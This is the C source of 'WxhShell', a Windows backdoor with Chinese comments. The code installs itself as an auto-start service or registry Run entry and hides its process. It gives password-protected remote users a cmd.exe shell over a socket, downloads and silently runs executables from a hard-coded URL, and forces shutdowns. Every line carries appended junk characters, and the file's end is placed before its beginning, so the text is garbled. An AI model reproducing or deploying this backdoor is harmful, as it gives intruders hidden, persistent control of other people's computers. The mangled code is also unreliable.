    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (%i)A$i6a  
    if(Boot(SHUTDOWN)) c h_1 -  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); li U=&wM>  
    else { 5|4=uoA<  
    closesocket(wsh); st b)Tl^  
    ExitThread(0); ,b&-o?.{  
    }  1#G(  
    break; w2 L'j9  
    } ftL>oOz[  
  // 获取shell * KDT0;/s  
  case 's': { "agc*o~!F  
    CmdShell(wsh); j.'Rm%@u  
    closesocket(wsh); J?Ed^B-  
    ExitThread(0); :9_N Y"P  
    break; sSh=Idrx  
  } B@:11,.7  
  // 退出 [RZ}9`V  
  case 'x': { ^KBE2C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zW,Nv>Ac5  
    CloseIt(wsh); %(9BWO  
    break; wFgL\[$^|  
    } SP&Y|I$:  
  // 离开 3Zr'Mn  
  case 'q': { oicj3xkw?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +[=yLE#P%  
    closesocket(wsh); ;yc|=I ^  
    WSACleanup(); Tb2Tb2C  
    exit(1); RR%[]M#_T  
    break; BQs~>}(V  
        } w6^X*tE  
  } "Yk3K^`1T.  
  } 7 Q`'1oE?  
$IuN(#  
  // 提示信息 |k # ~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A7/ R5p  
} CdTyUl  
  } v Ft]n  
uSAb  
  return; z3RlD"F1  
} #^\q Fj  
Ws+Zmpk%  
// shell模块句柄 SS4'yaQ  
int CmdShell(SOCKET sock) v}$s,j3NO  
{ r N"P IH  
STARTUPINFO si; 1j_x51p  
ZeroMemory(&si,sizeof(si)); liYR8D |  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5M.KF;P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 97$1na3gq  
PROCESS_INFORMATION ProcessInfo; vYYLn9}5  
char cmdline[]="cmd"; aCL_cVOMR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A? =(q  
  return 0; mXX9Aa>  
} 6l{=[\.Xa  
.szs?  
// 自身启动模式 [jOvy>2K]  
int StartFromService(void) 7_AR()CM  
{ OMr&f8  
typedef struct 80/6-_g(  
{ q=o"] 6  
  DWORD ExitStatus; Qx_K)  
  DWORD PebBaseAddress; pB3dx#l  
  DWORD AffinityMask; o9tvf|+z  
  DWORD BasePriority; -rEg(@S %  
  ULONG UniqueProcessId; t`"]"Re  
  ULONG InheritedFromUniqueProcessId; `&)khxT/  
}   PROCESS_BASIC_INFORMATION; %cWy0:F5VY  
qJ;T$W=NG  
PROCNTQSIP NtQueryInformationProcess; w Wx,}=  
P5:X7[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `OY_v=}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7[V6@K!Al[  
B{D!5{t  
  HANDLE             hProcess; ~[J&n-bJU  
  PROCESS_BASIC_INFORMATION pbi; \Z +O9T%  
"hwG"3n1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  2iUdTy$  
  if(NULL == hInst ) return 0; BjT0m k"P  
OV l,o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =5JTVF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +sTZ) 5vQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?0UzmJV?8  
o'W[v0> L-  
  if (!NtQueryInformationProcess) return 0; x?ajTzMv  
.K`^n\T t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'qosw:P  
  if(!hProcess) return 0; G(alM=q  
9w-V +Nf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;2m<#~@0  
0A~zu K  
  CloseHandle(hProcess); . Q#X'j  
</K"\EU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LnN6{z{M  
if(hProcess==NULL) return 0; %hYol89F  
MTKd:.J6  
HMODULE hMod; KcGM=z?:  
char procName[255]; +["t@Q4IQ  
unsigned long cbNeeded; &{s`=IeN  
#&Zb8HAj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y)x(+#  
0 ]v:Ix  
  CloseHandle(hProcess); erG;M!9\  
0G(T'Z1  
if(strstr(procName,"services")) return 1; // 以服务启动 );LkEXC_'  
1U"Fk3  
  return 0; // 注册表启动 pGZ I697  
} t~xp&LQiY  
J!Kk7 !^|  
// 主模块 Y.O/~af  
int StartWxhshell(LPSTR lpCmdLine) zSYh\g"  
{ ZMSP8(V  
  SOCKET wsl; `-l, `7e'  
BOOL val=TRUE; q@;z((45  
  int port=0; ''9FB5  
  struct sockaddr_in door; k1A64?p  
a95QDz  
  if(wscfg.ws_autoins) Install(); J?ljq A}i  
*siN#,5  
port=atoi(lpCmdLine); 09Sy- je*/  
oG! S(95  
if(port<=0) port=wscfg.ws_port; a@&^t(1  
* /S=9n0  
  WSADATA data; ,0^:q)_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Td&w  
J%?'Q{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M <3P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XYbc1+C  
  door.sin_family = AF_INET; _)q,:g~fu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d7xd"  
  door.sin_port = htons(port); 1D /{Y  
+U(m b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O -a`A.  
closesocket(wsl); Z/ "jLfP  
return 1; *@'\4OO  
} MQR@(>TZy  
5feCA ,v7  
  if(listen(wsl,2) == INVALID_SOCKET) { R3]Ra&h6N)  
closesocket(wsl); m6P!#=a:l<  
return 1; &n% 3rC5{  
} `(|jm$Q  
  Wxhshell(wsl); ,q yp2Y7  
  WSACleanup(); !]tZE%?  
y//yLrs;  
return 0; z6tH2Wxf  
MB,;HeP!  
} _v2 K1 1  
,!"\L~6  
// 以NT服务方式启动 < PoRnx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C7ZU)MEUd/  
{ Z5/g\G[  
DWORD   status = 0; o0:[,ock  
  DWORD   specificError = 0xfffffff; &H!#jh\w  
pn6 e{   
  serviceStatus.dwServiceType     = SERVICE_WIN32; Hu .e@7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /J8'mCuC.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '-F }(9M  
  serviceStatus.dwWin32ExitCode     = 0; Te`Z Qqb  
  serviceStatus.dwServiceSpecificExitCode = 0; $7{V+>  
  serviceStatus.dwCheckPoint       = 0; {1^9*  
  serviceStatus.dwWaitHint       = 0; u$c)B<.UR  
p]*BeiT#n%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <~BheGmmy  
  if (hServiceStatusHandle==0) return; jiPV ]aVN  
z.f~wAT@<  
status = GetLastError(); 2}P<}-?6  
  if (status!=NO_ERROR) 'l$<DcBj  
{ Ak!l}d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A &i  
    serviceStatus.dwCheckPoint       = 0; A*I mruV  
    serviceStatus.dwWaitHint       = 0; .!kqIx*3  
    serviceStatus.dwWin32ExitCode     = status; W{\){fr6O  
    serviceStatus.dwServiceSpecificExitCode = specificError; !$'s?rnh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j|f$:j  
    return; fDmGgD?  
  } 3IqYpK(s  
%2=nS<kC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lgC|3]  
  serviceStatus.dwCheckPoint       = 0; J7R+|GTcx  
  serviceStatus.dwWaitHint       = 0; :%Dw3IrOM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h(hb?f@1:  
} `;L0ax  
W?m?r.K?  
// 处理NT服务事件,比如:启动、停止 DXAA[hUjF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :U`8s#  
{ 6g@@V=mf  
switch(fdwControl) {q2H_H  
{ hia_CuY#  
case SERVICE_CONTROL_STOP: ;b:Ct<  
  serviceStatus.dwWin32ExitCode = 0; wVD-}n1"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (o,&P9  
  serviceStatus.dwCheckPoint   = 0; ruM16*S{=  
  serviceStatus.dwWaitHint     = 0; z<~gv"  
  { Xidt\08s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~y{(&7sM  
  } CUOxx,V  
  return; 7kM_Ijd$  
case SERVICE_CONTROL_PAUSE: d;KrV=%30s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &UG7 g  
  break; rvRtR/*?j  
case SERVICE_CONTROL_CONTINUE: 372ewh3'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jyPY]r  
  break; (S+tQ2bt  
case SERVICE_CONTROL_INTERROGATE: { #CyO b4  
  break; K /h9x9^  
}; jp2AU,Cl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 94L P )n  
} {\G4YQ  
`Nnqdc2  
// 标准应用程序主函数 Pg%OFhA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $l }MB7  
{ %p?u ^rq  
='=\!md  
// 获取操作系统版本 @RKw1$BA  
OsIsNt=GetOsVer(); Dqu1!f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 28M! G~|  
w/s{{X<bF  
  // 从命令行安装 Qz;2RELz  
  if(strpbrk(lpCmdLine,"iI")) Install(); }et^'BkA(  
'sI=*c  
  // 下载执行文件 1c S{3  
if(wscfg.ws_downexe) { z#b31;A@$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Gnmj-'x  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6C>x,kU  
} 6o&{~SV3  
FA\gz?h  
if(!OsIsNt) { 9PEjV$0E2  
// 如果时win9x,隐藏进程并且设置为注册表启动 krm&.J  
HideProc(); Y;>0)eP  
StartWxhshell(lpCmdLine); 93:s[b mx  
} H@er"boi  
else +O:Qw[BL/Z  
  if(StartFromService()) ['m@RJm+  
  // 以服务方式启动 W&y%fd\&3  
  StartServiceCtrlDispatcher(DispatchTable); VA_\Z  
else w5|az6wZB!  
  // 普通方式启动 ( B$;'U<  
  StartWxhshell(lpCmdLine); XiI@Px?FL  
pLL ^R  
return 0; Dq+rEt  
} 67 >*AL  
 L's_lC  
C^RO@kM  
$(_Xt-6  
=========================================== uD_|/(  
<1]# E@  
RLr;]j8cm  
:h1itn  
"2(4?P  
Y+ P\5G  
" r: n^U#  
>:5/V0;,  
#include <stdio.h> !<}<HR^ )  
#include <string.h> S|Wv1H>  
#include <windows.h> j2 "j Cv  
#include <winsock2.h> nm 66U4.@  
#include <winsvc.h> }NDw3{zn  
#include <urlmon.h> J\XYUs  
)DuOo83n["  
#pragma comment (lib, "Ws2_32.lib") ws4a(1  
#pragma comment (lib, "urlmon.lib") j&) +qTV  
[-_u{j  
#define MAX_USER   100 // 最大客户端连接数 oUR'gc :  
#define BUF_SOCK   200 // sock buffer UO8#8  
#define KEY_BUFF   255 // 输入 buffer Z2`(UbG}  
o <8L, u(U  
#define REBOOT     0   // 重启 $zq`hI!1  
#define SHUTDOWN   1   // 关机 /r Zj=  
"YHqls}c  
#define DEF_PORT   5000 // 监听端口 31k.{dnm  
C/ow{MxA  
#define REG_LEN     16   // 注册表键长度 %v:9_nwO)  
#define SVC_LEN     80   // NT服务名长度 | "DQ^)3Pi  
d@pD5n=m;  
// 从dll定义API 21M@z(q*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /og2+!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l,HMm|oU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ra[{K@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L~SM#?z:ue  
HS]|s':  
// wxhshell配置信息 "zR+}  
struct WSCFG { 95>(NwST4  
  int ws_port;         // 监听端口 (F~i  
  char ws_passstr[REG_LEN]; // 口令 +mE y7qM  
  int ws_autoins;       // 安装标记, 1=yes 0=no OT{wqNI  
  char ws_regname[REG_LEN]; // 注册表键名 ;OTD1=  
  char ws_svcname[REG_LEN]; // 服务名 ZffK];D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +j&4[;8P:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CHv~H.kh'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z#GZvB/z)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Hb=4k)-/]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cD Z]r@AQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0Z8K+,'!  
n  !]_o  
}; dGf{d7D  
G/\t<>O8o  
// default Wxhshell configuration Af1mTbf=  
struct WSCFG wscfg={DEF_PORT, i[@*b/A  
    "xuhuanlingzhe", {e0cc1Up}  
    1, v/\l  
    "Wxhshell", :CNWHF4$  
    "Wxhshell", HlgF%\@a+U  
            "WxhShell Service", 4StiYfae  
    "Wrsky Windows CmdShell Service", |Spy |,/  
    "Please Input Your Password: ", DY'D]*'7$  
  1, 1XU sr;Wz  
  "http://www.wrsky.com/wxhshell.exe", 0sto9n3  
  "Wxhshell.exe" _a"5[sG  
    }; :84fd\It4  
o X )r4H?  
// 消息定义模块 ?@6N EfQf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y[oc^Zuo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q>X#Aaib  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;S+*s'e  
char *msg_ws_ext="\n\rExit."; ]re1$ W#*  
char *msg_ws_end="\n\rQuit."; )t{?7wy  
char *msg_ws_boot="\n\rReboot..."; F]@vmzr  
char *msg_ws_poff="\n\rShutdown..."; _5EM<Ux  
char *msg_ws_down="\n\rSave to "; W'eF | hu  
%fnL  
char *msg_ws_err="\n\rErr!"; \I1+J9Gl  
char *msg_ws_ok="\n\rOK!"; (e S4$$g  
v1<3y~'f  
char ExeFile[MAX_PATH]; Z\D!'FX  
int nUser = 0; LJ`*&J   
HANDLE handles[MAX_USER]; R2yiExw<  
int OsIsNt; ( e6JI]tz{  
Eb{Zm<TP  
SERVICE_STATUS       serviceStatus; Tn< <i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uV`r_P  
m!SxX&m"G  
// 函数声明 v#{Sx>lO  
int Install(void); C:xg M'~+  
int Uninstall(void); <xOXuve  
int DownloadFile(char *sURL, SOCKET wsh); ({i}EC7{  
int Boot(int flag); QI'ule  
void HideProc(void); t J N;WK.6  
int GetOsVer(void); !E8y!|7$  
int Wxhshell(SOCKET wsl); v\PqhIy"  
void TalkWithClient(void *cs); A}?n.MAX>  
int CmdShell(SOCKET sock); zs:O HEZw  
int StartFromService(void); zBtlkBPu  
int StartWxhshell(LPSTR lpCmdLine); P!3)-apP\  
IWERn v!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .(^KA{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b^_#f:_j  
{D J!T  
// 数据结构和表定义 \]dx;,T  
SERVICE_TABLE_ENTRY DispatchTable[] = S\b[Bq  
{ X|fl_4NC>  
{wscfg.ws_svcname, NTServiceMain}, 9`]Gosz  
{NULL, NULL} =~6A c}$  
}; {z> fe }  
S#_g/3w  
// 自我安装 UJMM&  
int Install(void) s.`:9nj  
{ t>"UenJt-  
  char svExeFile[MAX_PATH]; P|HxD0c^u  
  HKEY key; e=&,jg?K  
  strcpy(svExeFile,ExeFile); "7}bU_":s  
88x_}M^Fnl  
// 如果是win9x系统,修改注册表设为自启动 Ndq/n21j  
if(!OsIsNt) { I ,8   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d"o5uo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q{~59{Fha  
  RegCloseKey(key); kKL'rT6z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yIy'"BCxM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lgp{  hK  
  RegCloseKey(key); OV/H&fe  
  return 0; x`~YTOfYk  
    } $X<O\Kna  
  } 5IE3[a%X  
} ?!TFoD2'  
else { {~q"Y]?  
`u6CuH5  
// 如果是NT以上系统,安装为系统服务 MIma:N_c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '[(]62j  
if (schSCManager!=0) '0q.zzv|_  
{ uqy&P S  
  SC_HANDLE schService = CreateService 3+vbA;R  
  ( N$]B$vv  
  schSCManager, " E+V >V+  
  wscfg.ws_svcname, Cge@A'2  
  wscfg.ws_svcdisp, yTJ Eo\g/@  
  SERVICE_ALL_ACCESS, G#yv$LY#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =`Ii ?xo  
  SERVICE_AUTO_START, "i>?Tg^  
  SERVICE_ERROR_NORMAL, l@:Tw.+/9  
  svExeFile, E$l4v>iA  
  NULL, -wn ,7;  
  NULL, ^f6p w!  
  NULL, ov;1=M~RF  
  NULL, "?9rJx$  
  NULL ;B*im S10  
  ); wT\JA4  
  if (schService!=0) -wr#.8rzTT  
  { "3Y(uN  
  CloseServiceHandle(schService); wr);+.T9R  
  CloseServiceHandle(schSCManager); ]M3V]m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $fifx>!  
  strcat(svExeFile,wscfg.ws_svcname); 7p1f*N[X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kIl!n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gbj^oo  
  RegCloseKey(key); vYl2_\,Y?  
  return 0; by}C;eN  
    } ~]f6@n  
  } ($QQuM=  
  CloseServiceHandle(schSCManager); RZMR2fP%  
} X5U#^^O$E%  
} 709/'#- ^  
[}>!$::Y  
return 1; \dAs<${(  
} suOWmqLs  
,bTpD!  
// 自我卸载 /=5:@  
int Uninstall(void) ^]rPda#  
{ |WP}y- Au  
  HKEY key; 'Fq +\J#%  
W*2d!/;7>  
if(!OsIsNt) { #hMS?F|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6LRvl6ik  
  RegDeleteValue(key,wscfg.ws_regname); P{m(.EC_  
  RegCloseKey(key); {$>Pg/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2WO5Af%  
  RegDeleteValue(key,wscfg.ws_regname); j!c~%hP  
  RegCloseKey(key); r=}v` R&  
  return 0; i,V,0{$  
  } =D~>$ Y  
} <n1panS  
} `\-<tk9  
else { W 6c]a/  
njxfBA:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9{*$[%d1  
if (schSCManager!=0) 33},lNS|  
{ 216=7O2F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Wn%b}{9Fb  
  if (schService!=0) Cer&VMrQK  
  { <%4M\n  
  if(DeleteService(schService)!=0) { mNA=<O;i)'  
  CloseServiceHandle(schService); !jWE^@P/B  
  CloseServiceHandle(schSCManager); aS! If>  
  return 0; !i>d04u`%  
  } ]\Z8MxFD  
  CloseServiceHandle(schService); -DuI 6K  
  } 'fjouO  
  CloseServiceHandle(schSCManager); [s{ B vn  
} <N{wFvF  
} p>N8g#G  
[$X^r<|P@  
return 1; emSky-{$u  
} (b;Kl1Ql]  
Sx8RH),k  
// 从指定url下载文件 i 558&:  
int DownloadFile(char *sURL, SOCKET wsh) =u-q#<h4 ;  
{ %?hvN  
  HRESULT hr; : X}n[K  
char seps[]= "/"; 9Iu"DOxX%  
char *token; .H@b zm  
char *file; Cs4ks`Z18  
char myURL[MAX_PATH]; OKPNsN  
char myFILE[MAX_PATH]; JIiS/]KQ  
({3Ap{Q}  
strcpy(myURL,sURL); 1/f{1k  
  token=strtok(myURL,seps); \483S]_-z{  
  while(token!=NULL) N:q\i57x  
  { NkV81?  
    file=token; NDUH10Y:[  
  token=strtok(NULL,seps); 9.%t9RM^  
  } i E?yvtr8  
b>2{F6F  
GetCurrentDirectory(MAX_PATH,myFILE); ZkJLq[:cM  
strcat(myFILE, "\\"); A.vf)hO  
strcat(myFILE, file);  PI.Zd1r  
  send(wsh,myFILE,strlen(myFILE),0); QWc,JCu  
send(wsh,"...",3,0); xa'^:H $X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $cW t^B'  
  if(hr==S_OK) ck< `kJ`b  
return 0; ~t<G gNI  
else !bCSt?}@u  
return 1; j{j5TvsrY  
-UM|u_  
} zpD?5  
k Nvb>v  
// 系统电源模块 +MZI\>  
int Boot(int flag) D;&\)  
{ G^sx/H76J  
  HANDLE hToken; dS8ydG2  
  TOKEN_PRIVILEGES tkp; g< xE}[gF  
BRy3D\}  
  if(OsIsNt) { PJ)l{c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ur.krsU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); + ZK U2N*  
    tkp.PrivilegeCount = 1; jOU99X\0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;X^#$*=Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OxPl0-]t  
if(flag==REBOOT) { zO2=o5nF.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %JHv2[r^P  
  return 0; @j!(at4B  
} 4fIjVx  
else { ^TD%l8o6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  )m#Y^  
  return 0; ,k_"T.w  
} q_6fr$-Qh  
  } TQu.jC  
  else { =w* 8   
if(flag==REBOOT) { =;4K5l{c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1c{m rsB  
  return 0; }N} Js*  
} 2-DG6\QX|  
else { U)xebU.!S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }h sNsQ   
  return 0; nU' qE  
} DS;\24>H  
} et/:vLl13  
ttdY]+Fj  
return 1; -K lR":  
} suzK)rJ9i  
kia[d984w  
// win9x进程隐藏模块 gD51N()s,  
void HideProc(void) R[14scV  
{ P z~jW):E  
L2p?] :-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 064k;|>D  
  if ( hKernel != NULL ) oNIYO*[  
  { $E&T6=Wn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F3qCtx *N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /* qx5$~  
    FreeLibrary(hKernel); H[nco#  
  } _|4R^*/ 4  
I eJI-lo  
return; Vz$xV!  
} I-/>M/66  
z"T+J?V/  
// 获取操作系统版本 sfipAM  
int GetOsVer(void) qFK.ULgP`  
{ ht*(@MCr<  
  OSVERSIONINFO winfo; \i/HHP[%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~&<t++ g  
  GetVersionEx(&winfo);  =   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IA<>+NS  
  return 1; vQ* RrHG?c  
  else xVw@pR;  
  return 0; ]\KVA)\  
} ^8EW/$k  
<$yA*  
// 客户端句柄模块 `u}_O(A1pA  
int Wxhshell(SOCKET wsl) mZ2CG O R  
{ :{N*Z}]  
  SOCKET wsh; wgIm{;T[u  
  struct sockaddr_in client; #Lpw8b6  
  DWORD myID;  [Q{\Ik  
%VFoK-a  
  while(nUser<MAX_USER) .Sn{a }XP4  
{ u4IK7[=  
  int nSize=sizeof(client); WKiP0~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QmjE\TcK/  
  if(wsh==INVALID_SOCKET) return 1; ;&n iZKoe  
z &X l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $1 "gFg  
if(handles[nUser]==0) L /:^;j`c  
  closesocket(wsh); \#(1IC`as  
else _qR?5;v  
  nUser++; YTFU# F  
  } 26g]_Igq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w$/lq~zU  
h$kz3r;b,"  
  return 0; ;  ?f+  
} o S=!6h  
4VZI]3K,  
// 关闭 socket , + G  
void CloseIt(SOCKET wsh) Nd]F 33|X  
{ CDM6o!ur3  
closesocket(wsh); _\KFMe= PV  
nUser--; WM`3QJb  
ExitThread(0); COsmVQ.  
} #lrwKHZ+  
X+ITW#  
// 客户端请求句柄 2zqaR[C  
void TalkWithClient(void *cs) SFRP ?s  
{ ,\J 8(,%L  
<wk  
  SOCKET wsh=(SOCKET)cs; _$96y]Bpi  
  char pwd[SVC_LEN]; ed`"xm  
  char cmd[KEY_BUFF]; IK\~0L;ozE  
char chr[1]; =X?fA,  
int i,j; U!o7Nw@ z  
m{Vd3{H40  
  while (nUser < MAX_USER) { 7H)$NG<U$  
,eBC]4)B6  
if(wscfg.ws_passstr) { pe vXixl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aaig1#a@1b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u0Wt"d-=  
  //ZeroMemory(pwd,KEY_BUFF); <HoCt8>U  
      i=0; zI4rAsysL  
  while(i<SVC_LEN) { o[cOL^Xd1  
La )M  
  // 设置超时 9tJ0O5  
  fd_set FdRead; ":$4/b6  
  struct timeval TimeOut; s-#EV  
  FD_ZERO(&FdRead); c 9f"5~  
  FD_SET(wsh,&FdRead); r@3-vLI!u  
  TimeOut.tv_sec=8; }lIc{R@H  
  TimeOut.tv_usec=0; V*b/N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Cu8mNB{H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T4] 2R  
ekvs3a^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B^/MwD>%  
  pwd=chr[0]; #zTy7ZS,0  
  if(chr[0]==0xd || chr[0]==0xa) { a*y9@RC}  
  pwd=0; 86OrJdD8  
  break; U;#KFZ+~  
  } &Gjpc>d  
  i++; ?{qUn8f2  
    } `Y:]&w  
PP$sdmo  
  // 如果是非法用户,关闭 socket (M$0'BV0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7. <jdp  
} a2B71RT~  
4W" A*A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \1!Q.V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UE'=9{o`  
&^"Ru?MK  
while(1) { @v%Kwe1Q  
YbU8 xq  
  ZeroMemory(cmd,KEY_BUFF);  9!jPZn  
OF7hp5  
      // 自动支持客户端 telnet标准   Sv M\9  
  j=0; qUd7O](b=?  
  while(j<KEY_BUFF) { AB'+6QU9k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d$3rcH1  
  cmd[j]=chr[0]; h p|v?3(  
  if(chr[0]==0xa || chr[0]==0xd) { QEs$9a5TE  
  cmd[j]=0; T&_&l;syA  
  break; #gQn3.PX+y  
  } ByY2KJ7  
  j++; RqTO3Kf  
    } >Bb X:  
gS'{JZu2  
  // 下载文件 9,'m,2%W  
  if(strstr(cmd,"http://")) { N1ipK9a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J _O5^=BP  
  if(DownloadFile(cmd,wsh)) D`JBK?~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5`.CzQVb  
  else M M@,J<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }n==^2  
  } "tCTkog3]  
  else { .J75bX5  
b]]8Vs)'  
    switch(cmd[0]) { aj`&ca8  
  fs ufYIf  
  // 帮助 8:{id>Mm^  
  case '?': { 77@N79lqO  
